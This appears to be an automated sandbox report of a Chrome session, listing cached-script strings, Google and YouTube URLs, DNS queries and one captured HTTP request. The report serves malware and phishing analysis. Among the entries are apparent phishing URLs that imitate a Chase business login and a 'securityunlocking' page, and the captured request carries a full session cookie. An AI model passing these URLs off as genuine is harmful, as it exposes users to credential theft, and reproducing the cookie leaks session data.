Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: a.PR)==null?void 0:(v=t.PX)==null?void 0:v.g5)&&q.length>0&&(c.length_seconds=dta(q[0]))}}B(this.context.ka(),192,!1)&&a.UT&&a.UT.dea===Ww.AVAILABLE&&(c.videoStoryboard=JSON.stringify(bta(a.UT)));return c};var Vcc=function(a){fM.call(this,a.oa());this.context=a;this.L=new yg};P(Vcc,fM);Vcc.prototype.D=function(){return"onYouTubeIframeAPIReady"};Vcc.prototype.H=function(){var a=gJ(this.context.ka())\|\|new eM;return qQa(A(a,1,"https://www.youtube.com"),"iframe_api")};Vcc.prototype.C=function(){return xk("YT.Player",this.oa().getWindow())};Vcc.prototype.Eg=function(){return this.L};var Wcc=new Gd("hrvDb","hrvDb");var Xcc=function(){iy.apply(this,arguments)};P(Xcc,iy);var yj={};var rO=function(a){yg.call(this);var b=this;this.context=a;this.D=null;this.R=!1;this.F=0;this.J=null;this.ta(this.context);var c=a.ka();a=a.oa();PI(c)\|\|og(c,83);this.H=new aHb;var d=Ycc(c);dHb(this.H,d,function(){return cgb(d)});cHb(this.H,d);this.handler=new ix(this);this.ta(this.handler);this.C=new HWb;this.ta(this.C);Zcc(this,c,a);$cc(this);var e=$h(c);this.Vb&&e&&(this.context.get(oF).start(),this.Vb.Db({ha:1}),Rsa(hRa),(c=Hi(c))&&this.context.get(oF).setEnabled(!!B(c,18,!1)));this.root=(c=Hf(this.context, equals www.youtube.com (Youtube)
Source: chromecache_146.2.dr, chromecache_115.2.dr	String found in binary or memory: function X(a,b){this.v={};this.playerInfo={};this.videoTitle="";this.j=this.g=null;this.h=0;this.m=!1;this.l=[];this.i=null;this.A={};this.options=null;if(!a)throw Error("YouTube player element ID required.");this.id=qa(this);b=Object.assign({title:"video player",videoId:"",width:640,height:360},b\|\|{});var c=document;if(a=typeof a==="string"?c.getElementById(a):a){W.yt_embedsEnableRsaforFromIframeApi&&tb();c=a.tagName.toLowerCase()==="iframe";b.host\|\|(b.host=c?mb(a.src):"https://www.youtube.com");this.options= equals www.youtube.com (Youtube)
Source: chromecache_146.2.dr, chromecache_115.2.dr	String found in binary or memory: function tb(){var a=new rb,b=["https://www.youtube.com"];b=b===void 0?qb:b;oa(function(c){switch(c.g){case 1:return C(c,sb(),2);case 2:if(!c.m){c.g=3;break}return C(c,Promise.all(b.map(function(d){var g;return oa(function(k){if(k.g==1)return k.l=2,C(k,navigator.permissions.query({name:"top-level-storage-access",requestedOrigin:d}),4);k.g!=2?(g=k.m,g.state==="prompt"&&a.g.push(d),k.g=0,k.l=0):(k.l=0,k.i=null,k.g=0)})})),4); equals www.youtube.com (Youtube)
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: inline:{css:1},disableRealtimeCallback:!1,drive_share:{skipInitCommand:!0},csi:{rate:.01},client:{cors:!1},signInDeprecation:{rate:0},include_granted_scopes:!0,llang:"en",iframes:{youtube:{params:{location:["search","hash"]},url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1",methods:["scroll","openwindow"]},ytsubscribe:{url:"https://www.youtube.com/subscribe_embed?usegapi=1"},plus_circle:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/plus/circle?usegapi=1"}, equals www.youtube.com (Youtube)
Source: chromecache_127.2.dr	String found in binary or memory: var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/03dbdfab\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"}; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: blobcomments-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: online.access.secure001.chase-business.com
Source: global traffic	DNS traffic detected: DNS query: peoplestackwebexperiments-pa.clients6.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 4111sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://drive.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=LrHPTNT3kiVWk49Nr6eaEjjd24hT5ONawicbAcnjoFndO-yltiVIcdBVQN_KIUQT4cXhcC3SEFQ7ibxpM7PnihrX1vvk5qsH87uG4kOSu2UJmHZ_H4xvOOhyIKF2dHLwJEhjSeiCAxnWDOyQbigcLrR9cE7ndW_PER_KuU7A3OrxhccBMIPQmi0

Source: chromecache_159.2.dr, chromecache_172.2.dr, chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: http://csi.gstatic.com/csi
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: http://localhost.corp.google.com/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: http://localhost.proxy.googlers.com/inapp/
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_165.2.dr, chromecache_128.2.dr	String found in binary or memory: http://www.bohemiancoding.com/sketch
Source: chromecache_165.2.dr, chromecache_128.2.dr	String found in binary or memory: http://www.bohemiancoding.com/sketch/ns
Source: chromecache_159.2.dr, chromecache_172.2.dr, chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://accounts.google.com/gsi/ottoken
Source: chromecache_107.2.dr	String found in binary or memory: https://accounts.google.com/o/fedcm/config.json
Source: chromecache_107.2.dr, chromecache_168.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_107.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/iframe
Source: chromecache_177.2.dr, chromecache_125.2.dr, chromecache_95.2.dr, chromecache_149.2.dr, chromecache_114.2.dr, chromecache_168.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_114.2.dr, chromecache_168.2.dr, chromecache_119.2.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_172.2.dr, chromecache_96.2.dr	String found in binary or memory: https://apis.google.com/js/api.js
Source: chromecache_144.2.dr, chromecache_159.2.dr, chromecache_148.2.dr, chromecache_172.2.dr	String found in binary or memory: https://apis.google.com/js/client.js
Source: chromecache_114.2.dr	String found in binary or memory: https://apis.google.com/js/googleapis.proxy.js
Source: chromecache_164.2.dr	String found in binary or memory: https://apis.google.com/js/googleapis.proxy.js?onload=startup
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://apps-drive-picker-dev.corp.google.com/picker/minpick/main
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.co.uk/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.co.uk/tools/feedback/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.com/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.com/tools/feedback/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.de/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.google.de/tools/feedback/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.youtube.com/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-autopush.corp.youtube.com/tools/feedback/
Source: chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-staging.corp.google.com/inapp/
Source: chromecache_148.2.dr	String found in binary or memory: https://asx-frontend-staging.corp.google.com/tools/feedback/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-help-frontend-autopush.corp.youtube.com/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://asx-help-frontend-autopush.corp.youtube.com/tools/feedback/
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://calendar.google.com/calendar
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://classroom.google.com/sharewidget?usegapi=1
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/widget/backdrop?usegapi=1
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://clients5.google.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://clients5.google.com/webstore/wall/widget
Source: chromecache_177.2.dr, chromecache_125.2.dr, chromecache_95.2.dr, chromecache_155.2.dr, chromecache_149.2.dr, chromecache_114.2.dr, chromecache_107.2.dr, chromecache_168.2.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_172.2.dr	String found in binary or memory: https://cloud.google.com/bigquery/docs/connected-sheets
Source: chromecache_172.2.dr	String found in binary or memory: https://cloud.google.com/terms/cloud-privacy-notice
Source: chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://console.developers.google.com/
Source: chromecache_177.2.dr, chromecache_125.2.dr, chromecache_95.2.dr, chromecache_155.2.dr, chromecache_149.2.dr, chromecache_114.2.dr, chromecache_107.2.dr, chromecache_168.2.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_159.2.dr, chromecache_172.2.dr, chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://csi.gstatic.com/csi
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://dataconnector.corp.google.com/:session_prefix:ui/widgetview?usegapi=1
Source: chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://developers.google.com/
Source: chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://developers.google.com/api-client-library/javascript/reference/referencedocs
Source: chromecache_107.2.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/gis-migration)
Source: chromecache_146.2.dr, chromecache_115.2.dr	String found in binary or memory: https://developers.google.com/youtube/iframe_api_reference#Events
Source: chromecache_107.2.dr	String found in binary or memory: https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://docs.google.com/document/d/1kganm9BHI3TsF8ogVulX2o4DzzO8XA4gu8aIKneTTNU/preview
Source: chromecache_177.2.dr, chromecache_125.2.dr, chromecache_149.2.dr, chromecache_168.2.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drive.google.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drive.google.com/drive/my-drive
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drive.google.com/picker/minpick/main
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drive.google.com/requestreview?id=
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://drive.google.com/savetodrivebutton?usegapi=1
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drive.google.com/viewer
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drive.usercontent.google.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://drivemetadata.clients6.google.com
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://families.google.com/webcreation?usegapi=1&usegapi=1
Source: chromecache_148.2.dr	String found in binary or memory: https://feedback-pa.clients6.google.com
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://feedback.googleusercontent.com/resources/annotator.css
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://feedback.googleusercontent.com/resources/render_frame2.html
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://feedback2-test.corp.google.com/inapp/%
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://feedback2-test.corp.google.com/tools/feedback/%
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://feedback2-test.corp.googleusercontent.com/inapp/%
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://feedback2-test.corp.googleusercontent.com/tools/feedback/%
Source: chromecache_102.2.dr, chromecache_153.2.dr	String found in binary or memory: https://fonts.google.com/license/googlerestricted
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://fonts.googleapis.com
Source: chromecache_120.2.dr, chromecache_169.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Google
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://fonts.gstatic.com
Source: chromecache_126.2.dr, chromecache_96.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/e/notoemoji/
Source: chromecache_153.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2)
Source: chromecache_102.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RP
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialiconsfilled/close/v19/gm_grey200-24dp/1x/gm_filled_close
Source: chromecache_148.2.dr	String found in binary or memory: https://gstatic.com/uservoice/surveys/resources/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://help.youtube.com/tools/feedback/
Source: chromecache_96.2.dr	String found in binary or memory: https://lh3.googleusercontent.com/a/default-user
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://localhost.corp.google.com/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://localhost.proxy.googlers.com/inapp/
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://mygoogle.corp.google.com/help/answer/9011840
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://onepick-autopush.sandbox.google.com/picker/minpick/main
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://onepick-preprod.sandbox.google.com/picker/minpick/main
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://onepick-staging-drivequal.sandbox.google.com/picker/minpick/main
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://onepick-staging.sandbox.google.com/picker/minpick/main
Source: chromecache_106.2.dr	String found in binary or memory: https://online.access.secure001.chase-business.com/?ref=trush39dh3sc
Source: chromecache_114.2.dr	String found in binary or memory: https://pay.google.com/gp/v/widget/save
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://play.google.com
Source: chromecache_119.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://play.google.com/work/embedded/search?usegapi=1&usegapi=1
Source: chromecache_168.2.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_177.2.dr, chromecache_125.2.dr, chromecache_95.2.dr, chromecache_149.2.dr, chromecache_114.2.dr, chromecache_168.2.dr	String found in binary or memory: https://plus.googleapis.com
Source: chromecache_172.2.dr	String found in binary or memory: https://policies.google.com/privacy
Source: chromecache_172.2.dr	String found in binary or memory: https://policies.google.com/terms
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://punctual-dev.corp.google.com
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://sandbox.google.com/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://sandbox.google.com/inapp/%
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://sandbox.google.com/tools/feedback/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://sandbox.google.com/tools/feedback/%
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://scone-pa.clients6.google.com
Source: chromecache_167.2.dr	String found in binary or memory: https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://signaler-pa.clients6.google.com
Source: chromecache_172.2.dr	String found in binary or memory: https://signaler-pa.googleapis.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://signaler-pa.youtube.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://signaler-staging.sandbox.google.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://ssl.gstatic.com/docs/common/cleardot.gif
Source: chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://ssl.gstatic.com/gb/js/
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://ssl.gstatic.com/microscope/embed/
Source: chromecache_148.2.dr	String found in binary or memory: https://stagingqual-feedback-pa-googleapis.sandbox.google.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com
Source: chromecache_148.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/
Source: chromecache_126.2.dr, chromecache_96.2.dr	String found in binary or memory: https://support.google.com/contacts/answer/7345608
Source: chromecache_172.2.dr	String found in binary or memory: https://support.google.com/docs/answer/13447609
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/docs/answer/148505
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/docs/answer/15001094
Source: chromecache_172.2.dr	String found in binary or memory: https://support.google.com/docs/answer/2494893?co=GENIE.Platform%3DDesktop#zippy=%2Cprevent-people-f
Source: chromecache_172.2.dr	String found in binary or memory: https://support.google.com/docs/answer/37603
Source: chromecache_172.2.dr	String found in binary or memory: https://support.google.com/docs/answer/49114
Source: chromecache_126.2.dr, chromecache_96.2.dr	String found in binary or memory: https://support.google.com/docs/answer/65129
Source: chromecache_126.2.dr, chromecache_96.2.dr	String found in binary or memory: https://support.google.com/docs/answer/65129?hl=en
Source: chromecache_126.2.dr, chromecache_96.2.dr	String found in binary or memory: https://support.google.com/docs?p=comments_guide
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/drive/answer/13447401
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/drive/answer/2407404?hl=en
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/drive/answer/2423485?hl=%s
Source: chromecache_172.2.dr	String found in binary or memory: https://support.google.com/drive/answer/2423694
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/drive/answer/7650301
Source: chromecache_172.2.dr	String found in binary or memory: https://support.google.com/drive?p=gemini_drive_pdf
Source: chromecache_172.2.dr	String found in binary or memory: https://support.google.com/google-workspace-individual/?p=esignature_signer_terms
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://support.google.com/inapp/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://support.google.com/inapp/%
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://support.google.com/legal/answer/3110420
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://talkgadget.google.com/:session_prefix:talkgadget/_/widget
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://tasks.google.com/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://test-scone-pa-googleapis.sandbox.google.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://workspace.google.com
Source: chromecache_177.2.dr, chromecache_125.2.dr, chromecache_95.2.dr, chromecache_149.2.dr, chromecache_114.2.dr, chromecache_168.2.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: chromecache_172.2.dr	String found in binary or memory: https://workspace.google.com/terms/google-workspace-individual-terms/esignature-signer/
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://workspacevideo-pa.googleapis.com
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://www.google.cn/tools/feedback/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://www.google.cn/tools/feedback/%
Source: chromecache_159.2.dr, chromecache_146.2.dr, chromecache_172.2.dr, chromecache_115.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js?trustedtypes=true
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://www.google.com/shopping/customerreviews/badge?usegapi=1
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://www.google.com/shopping/customerreviews/optin?usegapi=1
Source: chromecache_148.2.dr, chromecache_172.2.dr	String found in binary or memory: https://www.google.com/tools/feedback
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://www.google.com/tools/feedback/
Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: https://www.google.com/tools/feedback/%
Source: chromecache_148.2.dr	String found in binary or memory: https://www.google.com/tools/feedback/help_panel_binary.js
Source: chromecache_107.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.login
Source: chromecache_168.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_168.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: chromecache_155.2.dr, chromecache_107.2.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.profile
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://www.gstatic.com/images/branding/productlogos/calendar_2020q4/v13/192px.svg
Source: chromecache_159.2.dr, chromecache_172.2.dr	String found in binary or memory: https://www.gstatic.com/images/branding/productlogos/tasks/v10/192px.svg
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chromecache_119.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chromecache_113.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://www.gstatic.com/partners/badge/templates/badge.html?usegapi=1
Source: chromecache_126.2.dr, chromecache_96.2.dr	String found in binary or memory: https://www.gstatic.com/people/peoplekit/icons/
Source: chromecache_126.2.dr, chromecache_96.2.dr	String found in binary or memory: https://www.gstatic.com/people/peoplekit/icons/light_theme/domain_disabled_grey900.svg
Source: chromecache_172.2.dr	String found in binary or memory: https://www.gstatic.com/uservoice/feedback/client/web/
Source: chromecache_148.2.dr	String found in binary or memory: https://www.gstatic.com/uservoice/surveys/resources/
Source: chromecache_115.2.dr	String found in binary or memory: https://www.youtube.com
Source: chromecache_95.2.dr, chromecache_114.2.dr	String found in binary or memory: https://www.youtube.com/subscribe_embed?usegapi=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
